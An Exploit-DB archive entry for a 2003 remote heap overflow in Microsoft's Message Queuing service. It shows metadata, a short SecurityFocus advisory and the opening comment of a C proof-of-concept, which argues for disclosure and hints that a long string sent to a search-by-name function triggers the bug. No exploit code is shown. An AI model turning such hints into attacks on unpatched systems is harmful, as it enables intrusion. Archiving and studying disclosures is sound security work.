Microsoft Windows XP/2000/2003 - Message Queuing Service Heap Overflow

EDB-ID:

23229

CVE:



Author:

DaveK

Type:

remote


Platform:

Windows

Date:

2003-10-07


source: https://www.securityfocus.com/bid/8783/info

It has been reported that the Microsoft Message Queuing service is prone to a heap overflow. The Symantec DeepSight analyst team is currently analyzing proof-of-concept exploit code for this issue. This record will be updated as further information becomes available.


/*

     A demonstration of the bug alluded to by Jim Allchin in his efforts to
  explain how appallingly badly coded some of the work on Micro$oft's
  enterprise-critical technologies truly is.  See

  http://www.eweek.com/article2/0,3959,5264,00.asp

  for details.

  "The fact that I even mentioned the Message Queuing thing bothers me," he 
said.

  Well, it shouldn't really.  It only took half-an-hour's work to find this 
bug;
  multiply that by time wasted on perhaps experimenting with a dozen or so 
of
  the other M$ apis and you'll see that even without the hint, it wouldn't 
have
  been hard to find; and of course, many of those other apis have their own
  problems.  Not disclosing it would have prevented absolutely nothing; 
trying
  to send a long string to a search-by-name function is just so completely
  obvious that secrecy gets you nowhere.  YOU CAN'T HIDE ANYTHING FROM AN
  INQUIRING MIND WITH A PACKET SNIFFER.[*]
